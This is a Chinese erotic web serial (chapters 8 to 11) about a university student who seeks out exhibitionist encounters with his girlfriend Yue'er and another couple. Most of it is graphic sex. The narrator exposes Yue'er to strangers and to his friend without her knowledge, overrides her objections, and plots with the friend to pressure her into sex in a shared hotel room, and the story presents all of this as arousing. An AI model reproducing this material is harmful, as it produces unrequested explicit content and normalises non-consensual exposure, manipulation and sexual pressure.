图片载入中

青梅女友的蜕变 8-13

特大字】 【大字】 【中字】 【小字

(第八章)新的开始

高潮过后的月儿浑身无力的靠在我身上喘息着,头紧紧埋在我的肩头,双腿还在微微颤抖,可能是有些酸软吧,身子有些下沈,本来就傲人的翘臀更是夸张的翘起。我已经把她的裙子完全掀起,内裤也扒到了大腿膝盖处,月儿坚挺赤裸的翘臀完全暴露在了空气之中,此时的月光正好照射在她的娇臀上,明晃晃的白嫩肌肤在我眼前晃动。

我看见对面的两个人蹲下了身子,他们的角度比我更好,又是蹲下来看,那岂不是连月儿的阴部都能清清楚楚的看见了?而且现在月儿的姿势就像是撅起屁股等着人操的样子,诱惑之极。想着我的月儿平时温婉矜持,现在却翘起屁股被两个陌生人视奸,不知怎么的,我却兴奋得不行。

月儿流出的淫水将我的手全部淋湿,顺着她的大腿往下流。我想这一幕也应该被他们看见吧!他们会不会觉得月儿是个荡妇?会不会想着这个画面手淫?我不敢往下想了,可是这些个念头像毒蛇一样噬咬着我的内心。月儿这次明显比以前的高潮要兴奋,淫水更是喷涌而出,多过之前任何一次,我甚至感觉在我扒下她内裤的时候月儿的连续高潮。难道月儿喜欢这种暴露赤裸的感觉?

月儿也感觉到了自己下身流得一塌煳涂,满脸通红的对我说:“快给我穿上内裤啊!”我这才从乱想中回过神,故意笑她:“内裤啊?内裤早就被你的淫水弄湿了。而且,你看你流得满腿都是了啊!”我灵机一动,接着说道:“反正也都湿透了没法穿,脱下来用它来擦吧!” 月儿羞得不知道说什么,只是扭捏着不依。我哪管那么多,吓唬她:“咦?

那边好像有人来了。”月儿吓得“啊!”一声,我趁机把内裤扒下拿在手里。月儿紧张的夹着双腿四处张扬却见我一脸贱笑,哪里不知道被我骗了,气急败坏的用力掐我。

我一边躲一边说:“谋杀亲夫了啊!”说着拿起手中的内裤在小月眼前晃:“还不用这个擦,你看你腿上流得到处都是,等会让人看见还以为你尿了呢!”我拿起手中的内裤帮月儿擦干净腿上的淫水。

月儿脸红得像能滴出水来似的,眉眼间更是有种春情后的娇媚,我无法分清这是害羞还是刚刚兴奋的回味,只觉得爱得不行,轻轻捧起她的脸,在她额头上吻了下,认真的说:“月儿,有你真好。”月儿感受到我的深情,幸福的靠在我胸前。

我们就这么依偎在一起,此时所有的言语都是多余的。我们能彼此感觉到对方的心跳和体温。我喜欢这种与爱人亲近的感觉,我想她也是喜欢的。

过了一会,我说:“很晚了,我送你回去吧!”月儿不舍的“嗯”了一声,又有些害羞道:“可是我怎么回啊?都没穿……内裤。”我一本正经的说:“没关系啦,反正有裙子挡着,谁知道?”月儿也只好瞪了我一眼。我擡头看看,那两个男人早都不见踪影了。

送她回去的路上,月儿很紧张,低着头,一直不停地四处打量,好像连步子都不敢迈大。一阵微风吹过来,她赶紧用手压住裙子,我看得“嘿嘿”直乐,月儿看见我笑,恼怒的瞪我。

我无辜的说:“又不怪我,谁让你自己穿那么短的裙子。”

月儿辩解:“明明是你脱掉我的内……”说着气唿唿的掐了我一下。

“咦,不是你自己弄湿的么?”我不解的问。

“你……你还说!”月儿羞红了脸,跺了跺脚不理我,往前走,我赶紧笑着追了过去。

“别生气啊!好了,我错了还不行?”我笑着讨饶。

“月儿!”听见有人叫她,原来是那个跟月儿相好的女生。月儿回她:“菲非,你干什么去?”

那个叫菲非的女孩姣笑着看我:“我还能干嘛,又不像你有人约,自己去散步呗!这位就是传说中的‘响哥’吧?这么帅,不错么!难怪你看不上别人。” 面对菲非的熟稔,我有些吃惊,月儿却很坦然:“切,鬼才信你去散步。肯定是给你的�亮哥哥打电话去了,又不知道说什么见不得人的话才躲着我们。”说着对我说:“给你介绍下,我的室友,赵菲非,也是我的好姐妹。”

我忙讨好:“菲非你好,常听月儿说起你。”菲非大方的和我握手:“你就是方响吧?我们月儿可是为了你放弃了大片的草原。你可要好好伺候好她,要不然她随时可能跟别人跑了。”

月儿怒着瞪她:“再乱说,看我撕你的嘴。”菲非夸张的惊唿,拉着我的胳膊:“响哥哥,你看,你一来月儿就不一样了,就要撕我的嘴。”然后可怜的看着我:“响哥哥,你保护我,我就帮你看着月儿,不让她移情别恋。”月儿不甘示弱,反唇相讥:“先看好你自己吧,我不用你看。”

看得出来,月儿和菲非的感情很好。我仔细打量她,个头168,个子没有月儿高,但也算高个子,胸部很大,应该超过D罩杯吧!而且,她穿着细带的吊带衫,露出性感圆润的肩膀和手臂。腰很细,屁股没有月儿翘,但是超大。穿着运动裤,柔软的材料紧紧地贴着大腿,勾勒出性感的臀型和臀缝。圆圆脸,眼睛很大,眼角上调,有些自然的媚态。嘴角永远挂着似笑非笑的微笑,嘴唇微厚,没有破坏整体的美感,却带来一丝天然的性感。

月儿见我打量菲非看,不动声色的说:“看,我们菲非漂亮吧?小心看进眼睛里拔不出来啊!”

我赶紧解释:“呵呵,常听你说,今天第一次见,就是看看。”

菲非也不依了:“那可不行,不能白看,请我吃饭。”

我呵呵笑道:“这个当然,周末你跟月儿一起来,我请你们,顺便庆祝我明年成为你们的校友。”

“好啊,那我可得狠狠地宰你一顿了。”赵菲非欣然应允,然后对月儿说:“不当你们的电灯泡了,我先回宿舍去。”

我忙说:“月儿,你也回吧,很晚了。”月儿不舍的看着我:“嗯,你也早些。路上小心些,坐车别坐过站。”

菲非呵呵笑着:“哟!这么不舍啊?要不你们都别回了,去开房得了。” 月儿白了菲非一眼:“去去,嘴里说不出什么好话。”说着就跟着菲非往回走,刚走两部,又回头看我一眼。菲非“啪”的打了一下月儿的屁股:“走啦,还舍不得。”一打完突然:“咦?你……”

月儿一下反应过来,赶紧着急捂住菲非的嘴:“不许说。”菲非看看月儿,又看看我,暧昧的笑道:“你们啊,你们。”

月儿羞得满脸通红着辩解:“不是,不是你想的那样……”

菲非笑着在她耳边说了什么,月儿不依着和她打闹着进了宿舍楼。我没想到我们的秘密被赵菲非知道了,不过也无所谓,看样子,月儿和她很亲密,这种羞事,她也不会乱说的。

*** *** *** ***

周末很快就到了。我跟月儿约好在她们学校门口见面,等我到时两个女孩已经到了,我难免被她们两个数落了一番,不过看着两个美女穿着清凉的份上,我也就不计较了。

一路上她们两个都笑呵呵的说个不停,我都很难插得上嘴,也就乐得不说,一路上欣赏着两个美女的身姿也是好的享受。而且,一路上的男人都对我露出羡慕的神情让我很满足。

赵菲非并没有狠狠的宰我,只是找了一家大排档,一顿饭吃得很开心,我对她也有了一些了解。她是杭州人,跟男朋友张�亮是高中同学,张�亮在杭州上大学,她一个人在燕京上学,所以,一有节假日张�亮就会过来,一来两个人就出去住酒店。我有些羡慕的想,什么时候也能跟月儿住一起啊?

菲非性格爽朗,很快就和我熟稔起来,当着我们的面就笑话我们那天的事,还语重心长的教育我们:年轻人啊,要注意形象,哪能不穿内裤在学校乱搞。我还好,月儿被她笑话得无地自容。

深秋的燕京城红叶飘飘,匆忙的人们忙碌的身影被秋风追赶着。我怀着期待的心情等待着开学,一年的等待和相思化作浓浓的期盼,与深秋的依依重合。收获的季节到了。

(第九章)听床

与想像的一样,新生开学充满着青春的节奏。来自各地的同学齐聚一堂,没有生涩和隔阂,很快的我融入了这个校园,也融入了与月儿的相聚。

自然地,所有的同学都惊讶和羡慕我和月儿的恋情,我在大家的目光中骄傲地与月儿出双入对,心里也充满着骄傲。赵菲非却不管不顾,经常当我们的第三者,面对我恶狠狠的目光,她却坦然处之,还经常给我个“你咬我啊”的欠揍表情。我始终无可奈何,唯一的好处是可以同时欣赏两个风格不同的美女,而且,其中一个还是作风大胆的。

菲非跟我也很快的成为了好朋友,在我面前毫无忌惮,甚至故意在我面前弯腰露奶,至于牵手楼胳膊那是很随便的了。开始月儿很是吃醋,后来也只能无可奈何的归结为她长期独处的饥不挑食了。

新学年的第一个大假“十一”终于来了,我跟月儿决定哪里都不去,充份享受第一个我们能独处的假期。赵菲非却不答应,说张�亮要来看她。以前她怕男友移情别恋月儿,不介绍他们认识,现在不一样了,有我做护花使者,刚好又都是燕京人,拖着我们做导游,他们要好好的游历一番。我和月儿也就只能感叹交友不慎了。

张�亮有些书卷气,人很帅,但是话不多,我都觉得我至少在长相上远远输给他,难怪赵菲非跟了他。我们一起游玩了几天,渐渐熟悉了起来,我才知道他也是个闷骚的人。

我跟他说,别住酒店了,跟我住宿舍,他很不屑的说:“靠,我花这么多钱飞过来又不是想跟你住。自作多情!”然后淫贱的笑道:“你不是还没搞定月儿吧?”

我只能故作高傲的表态:“哥追求的是爱情,不是肉体。”赵�亮一脸遗憾道:“那是你没有尝过肉体。”

市区都玩遍了,我们四个准备去怀柔秋游。一起坐大巴到了怀柔,我们没有目的的闲逛,感受着这个美丽的城市风景,心情也是如郁郁葱葱的景色般充满生机。

赵�亮偷偷对我说:“哥们儿,要不要我帮帮你?”

我问:“帮什么?”

他一脸男人都懂的神情:“当然是帮你搞定月儿啊!”

我无奈的笑笑:“我都试过很多次了,可是月儿就是不肯。”

赵�亮胸有成竹的说:“你就看我的吧!”

玩了一天,很累也很开心。到晚上吃完晚饭后我们到市里找了一家酒店,一询问才知道酒店都已经订满了,只有一间标间,我看向�亮,�亮隐蔽的向我眨眨眼,我心里一动,装作很累不想再跑别处。菲非看看我,看看�亮,微微一笑也叫喊着累了。

月儿有些犹豫,看着我说道:“还是去别处看看吧!”

服务员微笑着:“现在别处肯定也没有房间了,现在是旺季啊!”

看着我们都疲惫不堪,月儿也只能同意住在这儿了。我内心激动,但是仍装作一身疲惫。

菲非藉机凑向我说道:“别以为我不知道你们打的什么主意,哼!”

我嬉皮笑脸的讨好她:“那当然,菲非姐聪明伶俐,我们这点小聪明哪里瞒得住你啊!你是饱汉子不知饿汉子饥啊!菲非,你就成全我吧!好菲非。” 菲非给了我个媚眼:“看你怎么表现了。”我忙讨好的帮她拿行李、递水,一应伺候得那是到位得不得了。

到了房间,房间还不错,很大,装修整洁,每张床都很大,并且隔得很开,大概有两米。玩了一天,大家很累了,都准备要休息了,菲非最先嚷嚷了洗澡,抱着睡衣进了浴室。

月儿偷偷跟我说:“怎么办?我没带换洗的内衣。”

我心里一阵激动,却故作平静的说:“没关系了,到时候关了灯睡觉,有什么关系。”

月儿有些害羞:“要不,我跟菲非睡,你跟�亮睡。”

我暗笑道:“好啊!”

不一会,菲非洗完澡出来了。靠!她竟然穿了一套很性感的睡衣。虽然不透但是料子很薄,印花的丝质吊带,而且明显的没穿内衣,坚挺的胸部顶得胸前鼓鼓囊囊,隐约乳头的印记显露。很短的睡衣裙䙓露出结实的大腿,裙䙓下肥美的大屁股清楚的显露着形状,比赤裸着身体更诱人,我看得口水直流。

月儿不满的瞪我,抱着睡衣也进了浴室。

我盯着菲非心不在焉的聊着天,欣赏着她的诱人。�亮倒是无所谓的跟我们东拉西扯,菲非更是放浪的一会依偎着�亮,一会不避讳的亲一下�亮。我笑他们忍不住就赶快去解决,菲非也笑我只能自己解决。

突然�亮眼光一亮,望向浴室门口。只见月儿出来了,她穿的是分体睡衣,上身是紧身背心,包得很严密,但是有些紧,紧绷的背心被G罩杯的大奶高高顶起,明显的看到乳头形状。下身是宽松短裤,不短,但是两边为了舒适有分叉,隐约能够看到两边的臀型翘立,一双雪白的超长大腿明晃晃的夺人双目。

刚刚洗完澡,月儿面带桃红,明显的�亮被月儿的美丽和性感惊呆了。月儿有些害羞但是仍挺胸走向了我,我知道她这是向我示威,回应刚才菲非对我的吸引。菲非也有些意外,吃吃的笑着说月儿今天穿着放浪,月儿也不甘示弱的回应着,我们就热热闹闹的谈笑着。

天色渐晚,到了休息的时间,我焦急的看向�亮,他给了我个安心的手势。过了一会,他主动说:“今天很晚了,休息吧!”

月儿忙说:“菲非,我们一起睡吧!”

菲非哧熘一下钻进被窝:“�亮,我们睡吧!我累了。”

月儿怒道:“你这个色女,见色忘义!”

�亮淫贱的对我们说道:“没办法,谁叫我的魅力比你们都大。”也钻进了被窝。

我打着哈欠对月儿说:“睡吧,又不是没跟我睡过。”月儿只好红着脸也钻进了被窝。

不一会,月儿说太亮了,我知道她是不好意思。我起来将窗帘拉上,屋内就立刻暗了下来,月儿这才有些安心。

我在被窝里心里有些激动,这是第一次跟月儿真正意义上的同床共枕,感受着身边火热的身躯,我的鸡巴已经忍不住挺立了起来。月儿背靠着我,我慢慢将鸡巴凑过去,贴着她的翘臀,双手也忍不住抚摸她的赤裸大腿,并在她耳边轻声说:“你今天真性感,你看�亮看你看得都要流口水了。”

月儿感受到我的鸡巴的坚挺,躲了躲。我板过她的身体,她面对着我,手捂在我手上:“别乱动,他们听见了。”

“没事,人家还不是在说悄悄话。”

月儿听着那边传来低声的细语,知道菲非他们也在说悄悄话,有些放松了。 “哼,你还不是看菲非看得都拔不出来了。”

“哪里有啊?我还是觉得月儿最好看,最性感。”说着,我的手隔着薄薄的睡衣在月儿身上游走。

开学后,我们一直都住在学校,根本就没有时间独处,最多就是躲在角落亲吻一下,此刻我有些很想跟月儿亲热。

“别,今天别了,菲非在呢!”

“别管他们了,他们那么久没见,肯定更饥渴的。”我央求道。但是月儿就是不让我继续抚摸她,我心急得不得了。

月儿见我心痒难耐,轻声在我耳边说:“你就忍忍吧,要不我帮你。”

我正奇怪她是什么意思的时候,就感觉到一只手伸到了我的鸡巴上,隔着裤子抚摸。虽然动作生涩,我还是感觉刺激得无与伦比。

过了一会,月儿将手伸进我的睡裤。刚刚碰到我的坚硬的鸡巴,我感觉她的手一停,好像下了决心一样。月儿握住了我的鸡巴,我感觉一中温热传来,舒服得差点呻吟出声。月儿见我要发出声音,赶紧用嘴唇堵住我的嘴,然后轻声说:“别出声,要不然就不给你……不给你这个了。”

我轻声“嗯”了一声,月儿慢慢地套弄了起来。慢慢地,我的龟头流出了一些液体,在这些液体的润滑下,月儿套弄得更顺畅了,我感觉这跟我自己手淫的感觉完全不一样,不一会就激动得不行。

突然我感觉一种冲动,紧紧地抱住了月儿,在她耳边说:“再快点!”月儿加快了手上的动作。我感到一股热流冲到丹田,大量的精液瞬间冲冠而出,射了月儿满手。

我紧紧地抱住月儿,月儿也有些浑身发烫。平静了下,月儿在我的耳边说:“他们不会听见吧?”我擡头看看他们的床,现在眼睛已经适应了黑暗,温柔的月光透过窗帘照射进来,有些许的能见度,我看见菲非他们两个的身影拥抱在一起亲吻。

我趴在她耳边说:“你看那边。”月儿转过头看过去,只见两个身影紧紧抱在一起亲吻,盖在身上的毛巾被下也不停耸动,想来也知道两个人肯定在互相爱抚。

月儿有些害臊:“这两个家伙真是过份,我们还在边上呢!”

我轻轻说道:“嘘∼∼小声点,别吵到他们,他们也是难得能在一起。” 我心里明白,这是�亮故意在帮我,心里有些感激。那边的动作越来越大,两个人的被子已经滑落到腰部,虽然房间里很黑,只能看见黑黑的影子,但这么近的看着两人在亲热也让我激动兴奋。月儿嘴上说不看,我却发现她也眯着眼睛在偷瞄。

�亮明显已经赤裸了上身,一双大手隔着薄薄的睡衣抚摸着菲非的大奶,慢慢地菲非的唿吸急促起来,隐约有些压低声音的喘息呻吟。突然�亮把睡衣两边的带子从菲非肩膀处扒下,低头吻上了她高耸的奶子,“哦……”的一声传了过来,菲非抱住了�亮的头压在自己的奶子上。我隐约听见�亮的低笑,然后看见他趴在了菲非耳边轻声说了什么。

看见两个熟悉的朋友在自己眼皮下爱抚亲热,我感觉身体燥热起来,不由自主地抚摸起身边的月儿,发现月儿也是浑身发烫。我从背后搂住月儿,双手伸到月儿胸前揉捏着她的大奶,月儿的乳头早已挺立起来,我微微一用力捻动,月儿在我怀中扭动起来。

对面传来的喘息声越来越大,刺激得我刚才射过精的鸡巴又挺立了起来。我用鸡巴顶向月儿的臀部摩擦着,感觉到我的鸡巴又硬了,月儿的身体愈发火热,我感觉到了她的兴奋,于是腾出手摸向她的翘臀,用力揉捏着她的臀肉。

菲非和�亮的喘息声现在已经大到我们能够听清楚了,菲非不时压低声音的“啊……”、“哦……”呻吟声也隐约能够听见。这时我看到�亮在被子里一阵摸索,手伸出被子时丢出了一条内裤,菲非的睡衣早就不知道被扒掉到哪里去。我心里一阵激动,要真的开干了么?

�亮用手支起了上身,只看见被子下他的下身猛地向前一挺,菲非发出一声“哦……”的叫声,我知道,�亮已经操进去了。

我兴奋的鸡巴也是一挺,紧紧地贴到月儿的臀缝中,虽然隔着两条裤子,我也感到了月儿的温热和湿润。月儿突然被我一顶也是浑身一颤,嘴里发出“喔”的低吟,随即赶紧捂住了嘴。

菲非那边哪里管得上我们这里,我看见�亮下身快速的挺动操弄着菲非,菲非大口喘着气,舒服的呻吟着。我越看越兴奋,加快了对月儿的抚摸。

我将手伸进月儿的衣服,她的衣服有些紧,我很不爽,就掀起来想脱掉,月儿有些扭捏却也半推半就的让我推掉了上衣。衣服一除去,月儿两个大奶挣脱了束缚,在我的揉捏下变换着形状。

我咬咬牙,把我们的被子也拉到腰间,露出月儿的大奶,月儿低唿:“啊!不要!”我说:“没事的,我们都看不清他们干什么,他们也看不到我们的。”说着不顾月儿的反对,低头含住了她的一个乳头用力吸吮起来。

那边的操屄声越来越大,菲非已经明显是在叫床了:“啊……喔……”声音虽然压低了,但仍然清晰的传到了我和月儿耳中刺激着我们。�亮放慢了节奏,但是每一下的操弄都幅度很大,干得菲非不时“哦……”的叫一声。

我已经忍不住了,脱掉了自己的内裤,用赤裸的鸡巴在月儿臀部摩擦。月儿受着我的挑逗和菲非他们交媾的直播刺激,也是娇喘不已。我顺着月儿结实的大腿摸到她的阴部,月儿的睡裤已经湿透了,我将手伸进去,用手指拨弄月儿的阴唇,沾满淫水的阴唇入手十分滑腻,月儿在我的摸弄下大腿绷直,不自觉的用她的翘臀摩擦我的鸡巴。

我凑足月儿耳边诱惑她:“月儿,让我操你好不好?我好想操你啊!”

月儿似乎受不了我的耳鬓厮磨,微微呻吟着:“响,别诱惑我,我怕我会支持不住……”

有戏!我努力地亲吻她的耳珠和颈项,手指微微伸进了月儿的屄里,轻轻挑逗她的阴蒂,月儿在我的刺激下忍不住“啊!”的叫出了声。我的心一跳,�亮他们肯定听到了这声呻吟。

那边�亮明显加快了操干菲非的节奏,而且,�亮一把将身上的被子掀开,我和月儿看见两个赤裸的黑影在操屄。菲非也是越叫声音越响,“啊……啊……啊……”的叫床声和喘息声刺激着我和月儿。

我凑在月儿耳边继续挑逗:“你看,菲非多舒服啊,你不想这么舒服么?我一定操得比�亮爽。”我故意说着双关的话。

月儿双腿夹紧了我的手指扭动摩擦着,嘴里发出舒服的呻吟:“可是……也不能在这儿啊,他们会知道的。”

我赶紧说:“他们还不是在我们面前操啊!再说,现在他们哪里顾得上我们啊?你看他们干得多爽。”

由于揭开了被子,�亮的鸡巴出入菲非屄的“咕叽,咕叽”声也传了过来,两个人交合处的肉体“啪啪”声也被我们听得清清楚楚。突然我看见菲非双腿夹住了�亮的腰,挺着胸发出有些大的叫床声:“啊……好舒服……�亮用力啊!啊……你好棒啊……”说着浑身颤抖着高潮了,�亮更是卖力地加快了操弄的频率。

听着对面床上不停的叫床声,我刺激得不行,不由加快了手上的动作,月儿在我手指的揉捏下也是婉转呻吟。

“舒服么?”我轻声问。

“嗯。”

“舒服就叫出来啊!你听菲非叫得多爽啊!”

“不,他们会听见的。”

“听见就听见,他们早就知道我们在干什么了。我们也在听他们操屄啊!”我“嘿嘿”笑道:“而且我喜欢听你叫,听得我好刺激。”

正说着,对面�亮和菲非却换了姿势,菲非半跪在床上,高高翘起了屁股,�亮从后面操了进去。我能看到菲非的黑影,屁股高翘,一对大奶前后抖动,�亮的鸡巴一进一出的阴影也隐隐约约反射着水光。我想月儿也在看,感觉到她的双腿在颤抖,大口的喘着气。

我将一节指头塞进了她的屄里抽动,月儿的阴唇吸住了我的手指,双腿不停摩擦,一股热流流了出来——月儿也高潮了。我趁着她高潮时也掀开了被子,我想�亮肯定能看到月儿的身材了。

月儿被我的动作吓了一跳,想拉回被子,我一个翻身把她压在身下并吻了上去,月儿被我吻得喘不过气来。

�亮肯定是看到了我的动作,偷偷对我竖起了大拇指示意。月儿被我压在身下,头向着天花板,所以看不到;而菲非背对着�亮被操得婉转呻吟,哪里注意到这些。我摆摆手也向�亮示意。

月儿被我吻得浑身酸软,那边又不停地传来菲非叫床的声音,我想月儿也有些受到影响,在我的挑逗下也发出了声音。我看有戏,对着�亮做了个手势,�亮那边马上加快了节奏,随着“啪啪啪”的肉体撞击声,�亮和菲非已经完全放开了,肆无忌惮的操了起来,菲非的叫床声也大到了我们清楚听见的地步。 我听着菲非的叫床声,兴奋的揉捏着月儿的大奶,下身的鸡巴也顶在了她的屄上,隔着一层薄薄的睡裤用龟头摩擦着她的阴唇,月儿被我玩弄得难耐地扭动着身体。我凑在她耳边轻声说:“叫啊,叫给我听,宝贝。我们像他们那样好不好?我也像�亮一样操。”说着我把月儿的睡裤拨到一边露出了阴唇,用龟头直接摩擦着。

月儿被我的动作弄得“啊!”的一声叫了出来,我激动的加快摩擦幅度,月儿虽然捂住嘴,但是仍然发出连续的“啊……啊……”叫声。

听到我们这边的叫声,我感觉对面菲非也故意加大了叫床的声音:“啊……亮哥,啊啊……对了,大力点!”

(第十章)互听

听着对面床传来的交合声和呻吟声,我感到浑身舒爽,一股热血涌上额头,满眼都是月儿挺立的大奶和赤裸的身体。我喘着粗气在月儿的耳边说道:“不行了,太刺激了。月儿,我要干你,现在就要。”

月儿感受到我坚挺的鸡巴顶在她的屄口抖动,屁股也在扭动着,一只手捂着嘴,睁开眼睛看着我。看到现在的月儿眼角满含着春情和欲望,我不再犹豫,腰一用力,鸡巴就操进了月儿的屄里。月儿捂着的嘴里发出“啊……响,啊……”的叫声。

我感觉到月儿湿滑的阴道紧紧地夹住了我的鸡巴,那层处女膜很轻易地被我捅穿,应该是月儿刚刚已经充份被我挑起了情欲,菲非的叫床声也刺激到了她,并且已经有一次高潮了,我感觉月儿并没有多少疼痛。

“月儿,我终于操你了,好爽!月儿,你痛吗?”我兴奋的问她。

“嗯,一点,但是好痒的感觉。啊……响,啊……”月儿闭上眼睛感受着。 我轻轻抽插了起来。对面�亮知道我得手了,对我竖起了拇指,我也回了他一个谢谢的手势。

我慢慢地用鸡巴轻轻的操着月儿,怕她还不能适应。过了一会,我感觉月儿在我身下扭动,轻轻的擡着臀部迎合我,我知道她已经适应了我的操弄。

我把鸡巴全部拔了出来,脱掉月儿已经完全湿透的睡裤,分开她的大腿,用力操了进去,学刚刚�亮那样不快但是每一下都操到底。月儿初经人事,哪里受得了这种操弄,已经浑身扭动,一对大奶更是抖动不已。我看她用力捂着嘴,不让声音发出来,于是拉着她的手放在她跳动的奶子上,教她抚摸自己的奶子。 月儿的嘴巴没有了束缚,发出“啊……哦……”的呻吟声,虽然她刻意压低了音量,但是我想�亮和菲非一定能听得到。

我看见�亮不停地往这边望过来,我和月儿几乎在�亮的注视下毫不遮挡地交媾,我感觉自己的鸡巴又硬了几分,更卖力地操着月儿,月儿发出的叫床声也越来越连续。

我看见月儿用手抚摸着自己的大奶,听着耳边传来的菲非的叫床声,刺激得不行。我相信对面的�亮也是如此,他一直盯着我们看,我想他是在看我身下的月儿吧,月儿现在捧着自己的奶子抚摸的样子能让男人发狂的,于是一把将身上的被子扔掉。

�亮发出阵阵的低吼声,鸡巴一进一出的加快操弄菲非。菲非在他这番冲刺下已经进入了高潮,完全毫无顾忌的喊了出来:“啊……好爽!亮哥,你干得我好爽啊!啊……用力操我啊!啊……啊……啊……”

我看见菲非又高潮了,也加紧了抽插的频率,并将月儿的大腿擡起紧紧地并拢,这样让她的屄能够夹得更紧,更好地感受到我鸡巴对她的操弄。睾丸随着我的抽插动作撞击着月儿的屁股,发出“叭叭”的声响。

在菲非高潮喊叫的同时,我感觉月儿也是浑身一颤,阴道里涌出了大量的淫水。我加快抽插的频率,却感觉月儿的阴道紧紧地吸吮着我的鸡巴,嘴巴也张大了,不停地喘着粗气,眉头紧锁,睁大双眼盯着我说:“啊……响,我……我要你……啊……”

月儿第一次被我操得高潮了!

我抽出鸡巴,再一捅到底,这样用力地操着月儿说:“要我干你么?是不是这样干你啊?”月儿已经说不出话了,只是不停地“啊……啊……啊……”的呻吟着。

幸亏刚刚我已经射过一次了,要不然我早就射了。就是这样,我也感觉丹田有一股股的热流冲向龟头。我强忍住射精的冲动,开玩笑,那边�亮已经操得菲非两次高潮了还能操,我这才第一次啊!

月儿的高潮连续的时间很长,那边的菲非也有意无意地发出连续的叫床声。我看见�亮捧住菲非的屁股大力操着,向我示意,我明白他的意思,将月儿翻了过来,像菲非一样屁股高翘。�亮发出一声:“操,好爽!”的声音,不知道他是说操菲非爽,还是看见月儿这个姿势爽。

我感到前所未有的刺激,我也学着他,捧着月儿的翘臀,狠狠地操了进去。“啊……啊……响,别,这个姿势好丑。”月儿羞臊的喊起来,我不管这么多,用力操着她。

突然�亮轻声的说:“你不能一直这么一个频率和深度的操,像我一样有深有浅,有快有慢。”虽然声音不大,但我想不止我一个人听见了。我感觉菲非听了后叫床更媚了,月儿更是激动的用屄紧紧地夹着我的鸡巴。

我赶紧学习,跟他一样玩起了九深一浅,月儿也被我操得叫床叫个不停了。整个房间里现在充满了肉体的撞击、鸡巴出入带出的淫水“咕叽”声,当然更销魂的是两个女孩诱人的呻吟叫床声。

我和�亮不自觉的有些竞赛的味道,他使出浑身解数,我也现学现卖的不甘示弱。两个女孩在我们的玩弄下婉转呻吟,最后终于都再次高潮,我也体会到了人生的第一次性爱。

没想到的是,我和月儿的第一次竟然是在好友的注视下完成的。虽然,我们都无法清楚的看到什么,但是朦胧的感觉更是诱惑,我仿佛能感觉到�亮盯着月儿的裸体,盯着她高耸的胸部、结实的长腿、挺翘的臀部。而且,那销魂的叫声都进入了彼此的耳中,无比刺激。

高潮后的我们喘息着,气氛有些尴尬,终于是菲非打破了僵局:“大家就别装了,都是成人了。月儿,恭喜你正式成为女人。方响,恭喜你告别五指姑娘。嘻嘻!”

�亮咳嗽了一声:“咳咳……就是,我跟菲非高中就好上了,方响,你们算晚的了。好了,你们说说话,我们去冲洗一下。”

我知道这是他们故意留空间给我,我说:“月儿,对不起,你不会生我的气了吧?”

月儿轻轻靠在我怀里搂着我的腰,声音还带有满足后的妩媚:“响,我们这样,你会觉得我是放荡的么?”

“怎么会呢,我喜欢和你这样。你不喜欢么?”

“我……我也喜欢。”月儿的声音有些臊。

我呵呵笑道:“喜欢就好,我们以后经常操好不好?”

月儿在我肩头咬了口:“你嘴里永远没有好话。”

“哎呀!痛啊……”我装作龇牙咧嘴:“我们两清了啊!你弄得我好痛。” *** *** *** ***

第二天早晨一起吃早饭的时候,月儿还有些尴尬,菲非却大方自然。等出了酒店去逛街,两个女孩子已经说笑不已了。望着两个人拉着手在前面走,我跟�亮拎着包可怜的跟在后面。

我感激的说:“亮子,这次多谢你了。”

�亮满不乎的说:“甭客气了。”说着猥琐的笑着:“不过,月儿身材真的霸道啊!真羡慕你啊!”

我心一跳,“嘿嘿”笑道:“菲非也不错啊,人漂亮,身材又好。”我犹豫着,想了想接着说:“我才羡慕你呢!而且又那么放得开,不像月儿,让她叫两声都很难。”

“不过,听着她们两个一起叫床,很爽啊!”

“就是,就是。”我附和道,很有一种同道中人的味道。

我们下午搭车去了密云游玩,密云水库的景色也是美极了。在路上也有些小插曲,在一个景点,菲非不小心摸了下小贩的一个瓷娃娃,那个小贩就指着娃娃底部的一条裂纹说是菲非弄坏的,让她赔八百块钱。

我估计他们以为月儿和菲非就是两个女孩子呢,好欺负。没想到看到前面的争执,我和�亮赶紧冲了过去。月儿冷笑着跟小贩理论,菲非却是一副彪悍的样子说:“你们找错人讹了。”我们赶紧上前,毫不客气的一把抓住小贩的领子,�亮也把两个女孩挡在身后,一副随时准备出手的样子。

看见我跟�亮两个一米八的大个子,小贩立刻软了,怯懦的说:“你们弄坏东西也得陪不是。”

月儿掏出五十块钱,不屑的说:“这个娃娃根本就是坏的,再说哪里值那么多钱。就这么多,就当我们买了。”拿起瓷娃娃,不再理小贩就走了。

有了这个小插曲,我们彻底地消除了尴尬,加上我们四人有了一起亲热的经历吧,我们的关系亲密了很多。菲非更是和月儿不停地说着悄悄话,还不时说着说着瞟我们一眼,然后两个人对视一笑,弄得我和�亮心痒痒的。

晚上吃完饭,我们在夜市逛了一会,找到一家酒店,进入大堂问有没有房,服务员说有,我说要一间标准间。四人很有默契的没有人说再开一间,只是我看见月儿的脸微微红了红,却也没说什么。

到了房间,这个房间没有我们昨天住的大,床很大,但是房间有些挤,两个床挨得很近,不到一米。我偷偷看菲非,菲非很自然,�亮笑得有些淫贱,只有月儿低着头不敢看我们。

我们很有默契的没有再聊天,各自洗了澡,关灯钻进了被窝。我看看房内,在明亮的月光下几乎能看书写字。我的心猛地跳动着,有些期待。月儿的脸也红扑扑的,不知道是热的还是什么。

菲非那边传来了“噗哧”一声笑:“方响,你去把窗帘拉上吧,要不然你的月儿又不好意思了。”

月儿也有些不甘示弱:“就你脸皮厚。我跟方响又不干什么,有什么不好意思?”

我忙笑着打圆场:“呵呵,还是拉上好,我太亮的睡不着。”

我去拉上窗帘,但是鬼使神差的,我只拉上了薄如蝉纱的内帘。我的心扑腾腾的跳着回到了床上,温柔的月光被挡住了一些,但是我知道,等会我们适应了黑暗的话,应该能够看清隔得很近的床上的人。想到这里,我感觉我已经很兴奋了,我无法分清我是因为能够看清菲非兴奋,还是因为�亮能够看清月儿兴奋。(第十一章)

人生中的很多事都是在发生前无法想像的,就像是你不知道什么时候才能遇见你真正一见倾心的人。你不知你遇到的她是不是你之前梦想了无数次的她,更不知道她是否也在等着你。

但是我和月儿无疑是幸运的,我们一起长大,一起读书,一起青涩过也一起成熟着。我没有怀疑过我的第一次是跟她,所以我从来没有操之过急,她不想就不想,我也没有勉强过。我想她应该也没有怀疑过是跟我吧?

